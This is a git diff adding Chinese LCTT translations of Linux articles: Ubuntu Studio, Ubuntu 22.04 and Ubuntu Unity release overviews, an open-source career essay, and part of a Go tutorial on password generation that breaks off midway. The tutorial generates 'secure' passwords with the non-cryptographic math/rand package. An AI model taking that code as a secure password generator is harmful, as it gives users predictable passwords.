Jellyfish”][3]。Linux 内核 5.15 LTS 为 Ubuntu Studio 22.04 提供支持,这是一个稳定的内核,适合目前所有的现代硬件阵容。 + +大多数创造性的工作通常发生在高端和现代的机器上;因此内核版本在 Ubuntu Studio 中是很重要的。[Linux 内核 5.15 LTS][4] 支持英特尔和 AMD 当前的 CPU/GPU 阵容。例如,这个内核带来了用于高带宽 I/O 操作的 AMD PTDMA 驱动和许多基本的更新,这对现代硬件的创造性工作非常重要。 + +除此之外,定制的 [KDE Plasma 5.24][5] 和 KDE Framework 5.92 带来了友好的用户界面和 Ubuntu Studio 的原生深色主题和图标主题。KDE Plasma 桌面被调整为带有快捷方式和必要的系统托盘部件的顶部面板,使所有的专业工作更加流畅。 + +此外,如果你从 Ubuntu Studio 20.04 LTS Focal Fossa 迁移到这个版本,KDE Plasma 是用户将体验到的一个新桌面。因为 Ubuntu Studio 20.04 LTS 是最后一个带有 Xfce 桌面环境的版本。而从那时起,Ubuntu Studio 已经转向了 KDE Plasma 桌面环境,以获得更好的现代技术和性能支持。 + +#### 应用栈 + +Ubuntu Studio 22.04 LTS 的应用栈带来了最新的稳定版本。Studio Controls(Ubuntu Studio 的本地控制中心)升级到了 2.3.0 版本,改进了混音器和插件,并修复了错误。 + +![Studio Controls][6] + +除此之外,图形、视频和音频软件套件也都更新了它们的最新稳定版本。此外,如果你和上一个 LTS 版本做一个功能对比,你可能会注意到功能和改进的大规模升级。主要是针对 Blender、KDenlive 和 Ardour,因为这些超级令人印象深刻的开源应用在开发中非常活跃。 + +不过,我们在这里列出的主要应用并不是完整清单: + + * Blender v3.0.1 (3D 计算机图形) + * KDenlive v21.12.3 (视频编辑) + * Krita v5.0.2 (光栅图形绘制和动画) + * Gimp v2.10.24 (光栅图形绘制) + * Ardour v6.9 ([数字音频工作站][8]) + * Scribus v1.5.7 (桌面出版) + * Darktable v3.6.0 (RAW 图像和照片管理) + * Inkscape v1.1.2 (矢量图形编辑器) + * Carla v2.4.2 (音频插件主机) + * Studio Controls v2.3.0 (音频管理和控制) + * OBS Studio v27.2.3 (流媒体应用) + * MyPaint v2.0.1 (简单绘画) + +此外,Jammy Jellyfish 的重大变化之一是引入了 [Pipewire][9] 0.3.48(与 Focal Fossa 相比)。这种现代音频和视频流服务器技术将帮助许多用户进行高级音频控制。但它可能需要命令行的调整来管理它。我不确定 Studio 团队未来是否会在 Studio 控制工具中带来额外的设置来管理 Pipewire。 + +最后,Ubuntu Studio 团队新设计的标志与 Canonical 的品牌形象相一致,看起来令人印象深刻,在这个版本中非常突出。 + +![Ubuntu Studio New Logo][10] + +### 下载和升级 + +上述所有的应用使得 Ubuntu Studio 22.04 LTS 的 ISO 大小达到了惊人的 4GB 以上(它不能装在一张 DVD 里 ,要用 USB)。如果你想试试,你可以使用下面的链接下载 BETA 镜像。 + +> **[ubuntustudio-22.04-beta-dvd-amd64.iso][11]** + +> **[ubuntustudio-22.04-beta-dvd-amd64.iso.torrent][12]** + +如果你打算从 Ubuntu Studio 20.04 LTS 升级到这个新版本,需要注意一下。由于桌面环境从 Xfce 变为 KDE Plasma,你不应该从 Ubuntu Studio 20.04 LTS 升级到 Ubuntu 22.04 LTS。这种方式不支持。 + +相反,你应该进行全新的安装。重新安装可能会有点复杂和挑战,因为你已经在系统中设置了许多插件、设置和建立了音频和视频工作的工作流程。但我还是建议你这样做,因为这样可以让你在 Ubuntu Studio 22.04 LTS 中清理一下,然后用一套新的应用和桌面环境重新开始。 + +_来自[发布说明][13]。_ + +_专题图片由 Unsplash 上的 [Milad Fakurian][14] 拍摄。_ + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/04/ubuntu-studio-22-04-lts/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://ubuntustudio.org/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/04/Ubuntu-Studio-22.04-LTS-Desktop-1024x631.jpg +[3]: https://www.debugpoint.com/2022/01/ubuntu-22-04-lts/ +[4]: https://www.debugpoint.com/2021/11/linux-kernel-5-15/ +[5]: https://www.debugpoint.com/2022/03/kde-plasma-5-24-review/ +[6]: https://www.debugpoint.com/wp-content/uploads/2022/04/Studio-Controls-1024x453.jpg +[8]: https://www.debugpoint.com/2018/08/3-best-daw-digital-audio-workstation-apps-ubuntu-linux/ +[9]: https://gitlab.freedesktop.org/pipewire/pipewire +[10]: https://www.debugpoint.com/wp-content/uploads/2022/04/Ubuntu-Studio-New-Logo.jpg +[11]: https://cdimage.ubuntu.com/ubuntustudio/releases/22.04/beta/ubuntustudio-22.04-beta-dvd-amd64.iso +[12]: https://cdimage.ubuntu.com/ubuntustudio/releases/22.04/beta/ubuntustudio-22.04-beta-dvd-amd64.iso.torrent +[13]: https://ubuntustudio.org/ubuntu-studio-22-04-lts-release-notes/ +[14]: https://unsplash.com/@fakurian +[15]: https://t.me/debugpoint +[16]: https://twitter.com/DebugPoint +[17]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[18]: https://facebook.com/DebugPoint diff --git a/published/202204/20220421 How to Build a Career in Open Source.md b/published/202204/20220421 How to Build a Career in Open Source.md new file mode 100644 index 0000000000..030f38073b --- /dev/null +++ b/published/202204/20220421 How to Build a Career in Open Source.md @@ -0,0 +1,83 @@ +[#]: subject: "How to Build a Career in Open Source" +[#]: via: "https://www.opensourceforu.com/2022/04/how-to-build-a-career-in-open-source/" +[#]: author: "Navendu Pottekkat https://www.opensourceforu.com/author/navendu-pottekkat/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14521-1.html" + +如何把开源作为一份职业 +====== + +> 你是否对开源充满热情,却不知道如何在这个领域开始一段职业生涯?那么,这篇文章就是为你准备的。 + +![](https://img.linux.net.cn/data/attachment/album/202204/29/083647jjbfm44j4pt774ft.jpg) + +你知道吗?80% 的维护者认为招募新的贡献者是一个挑战,92% 的雇主认为很难雇用到开源人才。而另一方面,52% 的开发者希望为开源做出贡献,33% 的人不知道从哪里开始,31% 的人认为自己不够熟练。公共数据显示,社会对具有开源技能的人有很大的需求。因此,让我们看看如何才能够把开源作为一份职业,以填补这个供需之间的差距吧! + +### 掌握一个技能 + +开源旅程的起点仅仅是你擅长的某个技能罢了。许多开发者会在空闲时间从事开源工作,他们在不熟练的领域投入精力,并把这些技能引入到技术领域里来。像机器学习(ML)、云原生和大数据分析这样的技能是很受欢迎的,因为许多项目都围绕着它们而进行。 + +开发者必须不断尝试,直到找到自己感兴趣的东西为止。例如,当我开始在开源领域工作时,我选择了移动用户界面(UI)和 Web 开发(包括前端和后端)方面的工作。这个选择并不简单,我花了很多时间来弄清楚我想从事什么。因此,重要的是要遵循你的兴趣,通过学习和建立项目来探索不同的领域。很多时候,理论教程可能不如建立实际项目更有帮助。掌握技能的唯一方法是将所学的东西应用到实际项目中。 + +如果你已经在某项技术和项目上投入了很长时间,那么你应该花时间好好分析一下。如果你对这个项目不感兴趣,那么放弃它可能是更好的选择。然而,这也可能是一把双刃剑。有可能你会发现一些感兴趣的东西,从而产生一个新的权衡。如果经过了充分的分析,你也知道了自己倾向于哪些技能组合,那么下一步就是建立自己的项目。 + +### 建立一个项目 + +无论项目的内容如何,只要它是活跃的,就会产生很大的价值。但请记住,一旦它开源了,你千万不要被大家的反应所左右。并且记住,无论你是为一个应用程序建立一个 UI,还是仅仅记录一个适当的注释、资源或 URL 的列表,你的工作都可以对开源用户有很大帮助。 + +在很大程度上,学习不同的工具有助于建立开源项目。因此,学习关于版本控制系统、Git、GitHub 和 GitLab(大多数项目都在它们上面)的一切是很重要的。由于互联网上已经有足够的教程,我只收集了一些可以在 `navendu.me/osidays` 上找到的。你需要通过撰写文档和公开自己学到的内容,来“公开学习”才行。 + +### 打造一份职业 + +你可以通过三种方式在开源领域建立一份职业。 + +#### 构建、扩展你自己的开源项目,并让它盈利 + +如果你想要建立一个自己的项目,发现并解决问题是一个很好的经验法则。记下别人可能面临的问题,一个项目需求就这样产生了。你的项目的市场规模只能通过试验和错误来估计。对于既没有太多资金的、也没有太多经验个人贡献者来说,社交媒体、博客、帖子和会议上的讲话,都会在很大程度上有助于接触到用户。这些平台可以为你的开源项目带来巨大的流量。 + +资金在几乎所有的商业模式中都起着重要作用。Mozilla 基金会依靠自愿捐款来资助其项目。MariaDB 采用了延迟开放源代码的商业模式。IBM 的许多开源项目遵循开放核心的商业模式,即项目的核心部分是开源的,而周围的附加部分是闭源的和专有的。红帽公司不出售代码,而是出售专业服务,如支持、工具和围绕项目的技术援助。这些商业模式的例子可以被采用,以此来建立一个项目,将它开源,并使其盈利。 + +> “即使你不是维护者,也要做维护者的工作。” + +#### 在一个以开源商业模式建立项目的公司工作 + +成为贡献者和维护者社区的一份子,参与会谈和参加会议将有助于你为项目做出贡献。你可以根据引导来完成第一次贡献,但它不一定得是代码。一个大的代码库可能看起来很吓人,但关键是要从小的地方着手。找到一个问题并解决它,这将有助于你了解贡献流程、代码库和项目设置等。 + +非代码的贡献也是有价值的。擅长写作的人可以通过撰写文档,或者为社交媒体写作来贡献。擅长设计的人,可以设计一个模板、一个颜色方案,或者也可以致力于创造一个更好的用户界面。与资深工程师相比,新人发现错误的概率很高。他们可以测试、确认并报告他们的用户体验,从而提升项目质量。另一个领域是新手引导,很多开源项目将导师和新手联系起来,并帮助后者做出重要贡献。还有一个选择是成为组织者或社区管理员,这意味着你将承担起项目经理的角色,确保功能完全按照预期交付,路线图得到遵循,贡献者得到照顾。大多数开源项目缺乏适当的管理,因为工程师们都不喜欢做这一类工作。 + +社会上有很多实习项目可以帮助你赚钱,比如谷歌的编程之夏(GSoC)和 Linux 基金会的导师制(在这里,被指导者有津贴,可以根据需要全职或兼职工作)。如果你能很好地发展你的技能,你可以在你实习的公司获得一个全职的职位。例如,如果你在红帽公司的一个项目中工作,你有机会被全职雇用,因为你在那里已经有了知名度。 + +正如 NumPy、SciPy 和 Anaconda 的作者 Travis Oliphant 所说,“建立一个开源项目,让人们为它做出贡献,然后从他们当中招聘。” —— 这也是我获得全职工作的方式。 + +* 随着时间的推移,你所做贡献的质量和数量会不断提升。最好长期参与一个项目,因为这样可以发现更多的贡献领域。投身进去做贡献会让人们注意到并认可你。 +* 开源项目缺乏项目经理,因此成为项目经理将有助于你的职业生涯。 +* 成为一个维护者,做一些工程师应该做的事情,如审阅代码、设计系统、撰写文档和帮助他人做出贡献。 +* 好的贡献的关键是“提前付出”,这意味着你需要通过分享经验和智慧来帮助新人,并确保他们不犯错误。 + +#### 获得赞助以从事开源工作 + +作为个人,如果你正在为某个公司建立的项目而工作,你可以要求获得资助。值得注意的是,只有当你的贡献很大时,组织才会乐意赞助你。但是,如果你建立了自己的项目,并且有大量的用户群,你可以向用户要求资助。 + +作为一个组织,你可以通过像 Open Collective、Patreon 和 GitHub Sponsors 这样的平台来筹集资金,让人们为你的项目捐款。像 Linux 基金会和 Mozilla 基金会这样的开源巨头也提供资金来支持项目。GitHub 已经给 15 个印度贡献者的项目提供了资助。 + +我曾经花了三个月时间建立了一个开源项目。这个项目后来被 《Product Hunt》 和 《JS Weekly》报道,还在上过 GitHub 趋势榜排名第一的位置。正是这个项目让我走上了开源事业的道路。 + +*本文由 Sharon Abhignya Katta 转录并策划* + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/04/how-to-build-a-career-in-open-source/ + +作者:[Navendu Pottekkat][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/navendu-pottekkat/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Target-Achievement-and-Teamwork-Business-Concept-696x607.jpg diff --git a/published/202204/20220421 Ubuntu 22.04 LTS is Now Available for Linux Desktop and Raspberry Pi.md b/published/202204/20220421 Ubuntu 22.04 LTS is Now Available for Linux Desktop and Raspberry Pi.md new file mode 100644 index 0000000000..fdbcfd7e97 --- /dev/null +++ b/published/202204/20220421 Ubuntu 22.04 LTS is Now Available for Linux Desktop and Raspberry Pi.md @@ -0,0 +1,184 @@ +[#]: subject: "Ubuntu 22.04 LTS is Now Available for Linux Desktop and Raspberry Pi" +[#]: via: "https://news.itsfoss.com/ubuntu-22-04-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14496-1.html" + +Ubuntu 22.04 LTS 发布! +====== + +> Ubuntu 22.04 LTS 带来了许多惊喜,还带来了 GNOME 42,以及 Canonical 的新品牌/标志。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/04/ubuntu-22-04-release.jpg) + +迫不及待地想尝试 Ubuntu 22.04 LTS?那么,它终于可以下载和升级了。(LCTT 译注:升级还要等几天,还存在一些小问题) + +它带来了 [大量令人印象深刻的功能][1],其中 GNOME 42 和树莓派桌面支持是其主要亮点。 + +现在,它已经就绪。在你决定尝试之前,让我们花点时间来看看这个版本最重要的变化。 + +### Ubuntu 22.04 LTS 的新变化 + +Ubuntu 22.04 是一次主要版本升级,其包括了桌面环境的改进、视觉上的变化和一些新增的功能。 + +如果你正在使用 Ubuntu 20.04 LTS,想知道它们之间的区别,你可以查看我们的《[Ubuntu 20.04 vs Ubuntu 22.04 LTS][2]》文章来了解。 + +毫无疑问,这是一个 [长期支持][3]Long-Term Support (LTS)版本。所以,你可以期待它维护更新到 2027 年,也就是五年的支持。一些最显著的变化包括: + +#### 1、强调色的选择 + +虽然大多数基于 Ubuntu 的 Linux 发行版提供了设置强调色的功能,但你必须使用 [GNOME 优化][4]GNOME Tweaks 才能做到。 + +![][5] + +现在,在 Ubuntu 22.04 中,你可以轻松地设置你所选择的强调色,它会影响到文件夹、通知区和桌面体验的其他元素。 + +#### 2、GNOME 42 + +![][6] + +期待已久的桌面环境升级来了。虽然 Ubuntu 22.04 的 GNOME 实现并不提供水平停靠区,但会有其它好处加成。 + +你应该能够在 Ubuntu 22.04 LTS 中体验到所有 [GNOME 42 的优点][7]。不幸的是,你仍然会发现几个版本号是 41 的应用程序。 + +开发者提到,他们需要更多的时间来测试使用 [libadwaita][8] 的应用程序。 + +话虽如此,在你继续阅读时,我也会提到 GNOME 42 所带来的有趣的更多功能。 + +#### 3、新的屏幕截图工具 + +![][9] + +与 Ubuntu 20.04 LTS 不同,你不能用 `PrtScrn`(或任何其他指定的快捷键)来直接抓拍全屏图片。 + +相反,如果你按下快捷键来截图,就会弹出来这个新的截图工具。 + +这不仅体验更加直观,而且还支持屏幕录制。因此,这是一个相当令人激动的变化! + +#### 4、深色模式的改进 + +虽然我们已经有了深色模式,但它并不是一个完美的系统级实现。 + +感谢 [elementary OS 6][10],GNOME 42 受到启发,实现了系统级的深色模式,更好地融合在一起以保持一致性。 + +![][11] + +#### 5、Firefox 变成了 Snap 版本 + +![][12] + +从 deb 包到 Snap 的过渡已经进行了一段时间了。 + +在 Ubuntu 22.04 中,Firefox 现在将默认以 Snap 包出现,在 Mozilla 的共同努力下,旨在推动更快的安全更新,并确保无需维护许多东西即可实现跨发行版的支持。 + +沙盒化的 Firefox 体验也应该可以提供更好的安全性。 + +你可以在这个 [论坛帖子][13] 中阅读更多关于该决定背后的信息。 + +#### 6、桌面图标出现在底部 + +![][14] + +默认情况下,桌面图标可以在右上角的区域看到,靠近停靠区。 + +现在,在 Ubuntu 22.04 中,默认的桌面图标位置已经被改为底部。你可以通过“外观Appearance”设置中的选项来改变这一点。 + +#### 7、缩小停靠区的能力 + +如果你不喜欢停靠区占据了整个左侧区域,你可以改变它。 + +你需要禁用“外观Appearance”调整中停靠区设置下的“面板Panel”模式,如下图所示: + +![][15] + +这将分离出停靠区,并提供现代桌面体验的浮动效果。 + +#### 8、树莓派桌面支持 + +Ubuntu 22.04 是第一个也可用于树莓派的桌面 LTS 版本。 + +随着 [zswap 的引入][16],树莓派的性能应该会在 Ubuntu 22.04 中得到显著提升。 + +它甚至可以 [在 2GB 的树莓派 4 变体型号上运行][16]。你可以在你的树莓派上测试这些改进。 + +#### 9、使用 Ubuntu Advantage + +![][17] + +Ubuntu Advantage 是为企业和商家提供的高级订阅,无需重新启动即可获得重要的安全更新。 + +对于大多数桌面用户来说,这不是什么有用的东西。然而,如果你想获得 Ubuntu Advantage 订阅,并将你的系统接驳到它,你可以通过导航到“软件 & 更新Software & Updates”下的 Livepatch 部分轻松做到这一点。 + +#### 10、Linux 内核 5.17 和 Linux 内核 5.15 LTS + +[Linux 内核 5.15 LTS][18] 是一个重要的升级,它改进了 NTFS 驱动,对即将到来的英特尔独立显卡提供了初步支持,并有更多的性能改进。 + +对于你的桌面计算机,你应该注意到 Linux 内核 5.15 开箱即用。 + +Ubuntu 服务器版也采用了 Linux 内核 5.15 LTS。 + +然而,Ubuntu 22.04 也在最新一代认证设备(OEM)上使用了 [Linux 内核 5.17][19]。 + +因此,在这个版本中,Ubuntu 根据产品的不同打包了多个内核。 + +#### 11、RISC-V 的现场镜像 + +从 Ubuntu 22.04 开始,你会发现单独的可用 RISC-V 架构的现场镜像live image。 + +#### 其他变化 + +除了上面提到的主要变化外,升级后的其他一些重大变化包括。 + + * 较新的软件包,如 OpenSSL 3.0、Ruby 3.0、Python 3.10、PHP 8.1 等。 + * 更新的应用程序,包括 Firefox 99、LibreOffice 7.3 和Thunderbird 91。 + +你可以看一下它的 [官方发布说明][20] 来探索所有的技术变化。 + +### 下载或升级到 Ubuntu 22.04 LTS + +如果你想通过使用 ISO 进行全新安装来体验新的 LTS 版本,请前往下面链接的官方网站进行下载。 + +> [下载 Ubuntu 22.04 LTS][21] + +而当它的更新可用时,你可以参考我们的 [升级指南][22]。 + +> **注意:** 你可以进行全新的安装,但是你还不能升级到 Ubuntu 22.04 LTS(由于 snapd 和 update-notifier 软件包的错误有待修复)。你应该在接下来的几天里收到更新通知。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-22-04-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/ubuntu-22-04-release-features/ +[2]: https://itsfoss.com/ubuntu-20-04-vs-22-04/ +[3]: https://itsfoss.com/long-term-support-lts/ +[4]: https://itsfoss.com/gnome-tweak-tool/ +[5]: https://news.itsfoss.com/wp-content/uploads/2022/03/ubuntu-22-04-accent-change.jpg +[6]: https://news.itsfoss.com/wp-content/uploads/2022/04/ubuntu-22-04-desktop.jpg +[7]: https://news.itsfoss.com/gnome-42-release/ +[8]: https://news.itsfoss.com/gnome-libadwaita-library/ +[9]: https://news.itsfoss.com/wp-content/uploads/2022/03/ubuntu-22-04-screenshot-ui.jpg +[10]: https://news.itsfoss.com/elementary-os-6-features/ +[11]: https://news.itsfoss.com/wp-content/uploads/2022/03/ubuntu-22-04-dark-mode.png +[12]: https://news.itsfoss.com/wp-content/uploads/2022/03/firefox-as-snap.png +[13]: https://discourse.ubuntu.com/t/feature-freeze-exception-seeding-the-official-firefox-snap-in-ubuntu-desktop/24210 +[14]: https://news.itsfoss.com/wp-content/uploads/2022/04/ubuntu-22-04-desktop-icon.jpg +[15]: https://news.itsfoss.com/wp-content/uploads/2022/04/ubuntu-22-04-dock-shrink.jpg +[16]: https://news.itsfoss.com/ubuntu-desktop-raspberry-pi-4/ +[17]: https://news.itsfoss.com/wp-content/uploads/2022/04/ubuntu-livepatch.jpg +[18]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[19]: https://news.itsfoss.com/linux-kernel-5-17-release/ +[20]: https://discourse.ubuntu.com/t/jammy-jellyfish-release-notes/24668 +[21]: https://ubuntu.com/download/desktop +[22]: https://itsfoss.com/upgrade-ubuntu-version/ diff --git a/published/202204/20220422 Experience Ubuntu Unity 22.04 LTS With These New Features.md b/published/202204/20220422 Experience Ubuntu Unity 22.04 LTS With These New Features.md new file mode 100644 index 0000000000..1cfdf2381a --- /dev/null +++ b/published/202204/20220422 Experience Ubuntu Unity 22.04 LTS With These New Features.md @@ -0,0 +1,97 @@ +[#]: subject: "Experience Ubuntu Unity 22.04 LTS With These New Features" +[#]: via: "https://www.debugpoint.com/2022/04/ubuntu-unity-22-04-lts/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14516-1.html" + +Ubuntu Unity 22.04 LTS 新功能体验 +====== + +> Ubuntu Unity 22.04 LTS 中的新功能和软件包,带来了精心策划的 Unity 桌面。 + +Ubuntu Unity 是 Ubuntu 的一个非官方版本,提供了 Unity 桌面环境。Unity 桌面环境是由 Canonical 在十年前创建的,而后在 Ubuntu 18.04 “Bionic Beaver” 发布后被 [放弃了][1],Ubuntu 转而使用了 GNOME 桌面。随着 Ubuntu 22.04 LTS 的发布,Ubuntu Unity 的小团队发布了 Ubuntu Unity 22.04 LTS Linux 发行版。 + +![Nice and Clean Ubuntu Unity 22.04 LTS][2] + +### Ubuntu Unity 22.04 LTS - 新功能 + +抛开历史不谈,Ubuntu Unity 22.04 LTS 带来了 Unity7 桌面环境,并与 Jammy Jellyfish 版本保持了一致的变化。该版本的核心是基于 [Ubuntu][3] 的底层软件包和 [Linux 内核 5.15][4] 。Linux 内核 5.15 支持所有主流的 GPU、CPU 和其他硬件阵容,让你可以在你的硬件上自由使用这个发行版。 + +此外,在此版本中自然有 Unity 桌面的主要魅力所在,即搜索应用的全局 HUD 和所有应用都有的全局菜单。也许,很多人喜欢 Unity 就是因为它的全局 HUD(通过 `META` 键启动),这是一个搜索、启动或做任何事情的单一入口点。 + +![Global HUD in Ubuntu Unity 22.04][5] + +它基本上就像是 KDE Plasma 中的 [KRunner][6]。另外,它的全局菜单使应用看起来更漂亮,并节省了宝贵的屏幕空间。而且,该团队还为 Unity 桌面带来了定制的 Yaru 主题,有浅深两款。 + +![Global Menu in Ubuntu 22.04 with LibreOffice Calc][7] + +除此之外,应用列表也有些不同,与基本的 Ubuntu GNOME 版本相比,它提供了各种基本用途的应用。比如,它用 Nemo 文件管理器代替了 GNOME 中的 “文件”,以及来自 MATE 桌面软件包的 Pluma 文本编辑器。 + +不包括 Nautilus/“文件” 是明智的,因为要做全部的 GTK4 和 libadwaita 移植工作。对于 Unity 桌面来说,这需要太多的工作,而其他的解决方案也可以有效地工作。 + +此外,在 Ubuntu Unity 22.04 LTS 中使用了 GNOME “软件” 41.5,安装和删除软件变得很容易。虽然它是一个 GNOME 41+ 系列的应用,但在 Unity 桌面外观下,它看起来很优雅。但它没有全局菜单,因为它的软件设计原则本身就没有传统的文件菜单栏。 + +#### 外观和感觉 + +但这还不是全部。Unity 桌面为你提供了大量的自定义选项,通过外观设置来选择基础主题、启动器图标大小和位置,以及其他 Unity 桌面的基本设置。如需进一步配置,你可以得到预装的 Unity Tweak 工具,它为你提供了更多额外的选项,使你的桌面成为你想要的样子。 + +最后,在这个版本中,以官方吉祥物 Jammy Jellyfish 为特色的一组迷人的墙纸为整个 Unity 桌面体验增色不少。 + +![Unity Tweak Tool][9] + +### 总结和下载 + +作为总结,下面是 Ubuntu Unity 22.04 版本中的应用组合: + + * 基于 Ubuntu 22.04 LTS “Jammy Jellyfish” + * Linux 内核 5.15 + * Unity 7.5.1 + * Flatpak 和 Flathub 作为默认安装方式 + * Nemo 文件管理器 5.2.4 + * Atril 文档浏览器 1.26 + * Pluma 文本编辑器 1.26 + * VLC 媒体播放器 3.0.16 + * EOM(Eye of MATE)图像查看器 1.26 + * MATE 系统监视器 + * Firefox 99(Snap) + * LibreOffice 7.3.2.2 + * Unity Tweak Tool + +最后,如果你想重温 Unity 的美好时光,可以从以下链接下载官方 ISO。 + +> **[下载 Ubuntu Unity][10]** + +不要忘记以任何能力为官方项目做出贡献,以帮助团队继承伟大的 Unity 桌面概念的遗产。 + +_参考自 [公告][11]_ + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/04/ubuntu-unity-22-04-lts/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://ubuntu.com/blog/growing-ubuntu-for-cloud-and-iot-rather-than-phone-and-convergence +[2]: https://www.debugpoint.com/wp-content/uploads/2022/04/Nice-and-Clean-Ubuntu-Unity-22.04-LTS-1024x576.jpg +[3]: https://www.debugpoint.com/2022/01/ubuntu-22-04-lts/ +[4]: https://www.debugpoint.com/2021/11/linux-kernel-5-15/ +[5]: https://www.debugpoint.com/wp-content/uploads/2022/04/Global-HUD-in-Ubuntu-Unity-22.04-1024x574.jpg +[6]: https://www.debugpoint.com/2021/12/kde-plasma-hidden-feature/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/04/Global-Menu-in-Ubuntu-22.04-with-LibreOffice-Calc-1024x574.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/04/Unity-Tweak-Tool.jpg +[10]: https://ubuntuunity.org/download/ +[11]: https://ubuntuunity.org/blog/ubuntu-unity-22.04/ +[12]: https://t.me/debugpoint +[13]: https://twitter.com/DebugPoint +[14]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[15]: https://facebook.com/DebugPoint diff --git a/published/202205/20180523 Creating random, secure passwords in Go.md b/published/202205/20180523 Creating random, secure passwords in Go.md new file mode 100644 index 0000000000..e472554850 --- /dev/null +++ b/published/202205/20180523 Creating random, secure passwords in Go.md @@ -0,0 +1,124 @@ +[#]: subject: "Creating random, secure passwords in Go" +[#]: via: "https://opensource.com/article/18/5/creating-random-secure-passwords-go" +[#]: author: "Mihalis Tsoukalos https://opensource.com/users/mtsouk" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14621-1.html" + +在 Go 中生成随机的安全密码 +====== + +> Go 的随机数生成器是生成难以猜测的密码的好方法。 + +![](https://img.linux.net.cn/data/attachment/album/202205/21/152534k13a1wly39fuywu2.jpg) + +你可以使用 [Go 编程语言][2] 提供的随机数生成器来生成由 ASCII 字符组成的难以猜测的密码。尽管本文中提供的代码很容易阅读,但是你仍需要了解 Go 的基础知识,才能更好地理解它。如果你是对 Go 还不熟悉,请阅读 [Go 语言之旅][3] 来了解更多信息,然后返回此处。 + +在介绍实用程序和它的代码之前,让我们先来看看这个 ASCII 表的子集,它可以在 `man ascii` 命令的输出中找到: + +``` +30 40 50 60 70 80 90 100 110 120 + --------------------------------- +0:    (  2  <  F  P  Z  d   n   x +1:    )  3  =  G  Q  [  e   o   y +2:    *  4  >  H  R  \  f   p   z +3: !  +  5  ?  I  S  ]  g   q   { +4: "  ,  6  @  J  T  ^  h   r   | +5: #  -  7  A  K  U  _  i   s   } +6: $  .  8  B  L  V  `  j   t   ~ +7: %  /  9  C  M  W  a  k   u  DEL +8: &  0  :  D  N  X  b  l   v +9: '  1  ;  E  O  Y  c  m   w +``` + +在所有 ASCII 字符中,可打印字符的十进制值范围为 33 到 126,其他的 ASCII 值都不适合用于密码。因此,本文介绍的实用程序将生成该范围内的 ASCII 字符。 + +### 生成随机整数 + +第一个实用程序名为 `random.go`,它生成指定数量的随机整数,这些整数位于给定范围内。`random.go` 最重要的部分是这个函数: + +``` +func random(min, max int) int { + return rand.Intn(max-min) + min +} +``` + +此函数使用了 `rand.Intn()` 函数来生成一个属于给定范围的随机整数。请注意,`rand.Intn()` 返回一个属于 `[0,n)` 的非负随机整数。如果它的参数是一个负数,这个函数将会抛出异常,异常消息是:`panic: invalid argument to Intn`。你可以在 [math/rand 文档][4] 中找到 `math/rand` 包的使用说明。 + +`random.go` 实用程序接受三个命令行参数:生成的整数的最小值、最大值和个数。 + +编译和执行 `random.go` 会产生这样的输出: + +``` +$ go build random.go +$ ./random +Usage: ./random MIX MAX TOTAL +$ ./random 1 3 10 +2 2 1 2 2 1 1 2 2 1 +``` + +如果你希望在 Go 中生成更安全的随机数,请使用 Go 库中的 `crypto/rand` 包。 + +### 生成随机密码 + +第二个实用程序 `randomPass.go` 用于生成随机密码。`randomPass.go` 使用 `random()` 函数来生成随机整数,它们随后被以下 Go 代码转换为 ASCII 字符: + +``` +for { + myRand := random(MIN, MAX) + newChar := string(startChar[0] + byte(myRand)) + fmt.Print(newChar) + if i == LENGTH { + break + } + i++ +} +``` + +`MIN` 的值为 `0`,`MAX` 的值为 `94`,而 `startChar` 的值为 `!`,它是 ASCII 表中第一个可打印的字符(十进制 ASCII 码为 `33`)。因此,所有生成的 ASCII 字符都位于 `!` 和 `~` 之间,后者的十进制 ASCII 码为 `126`。 + +因此,生成的每个随机数都大于 `MIN`,小于 `MAX`,并转换为 ASCII 字符。该过程继续进行,直到生成的密码达到指定的长度。 + +`randomPass.go` 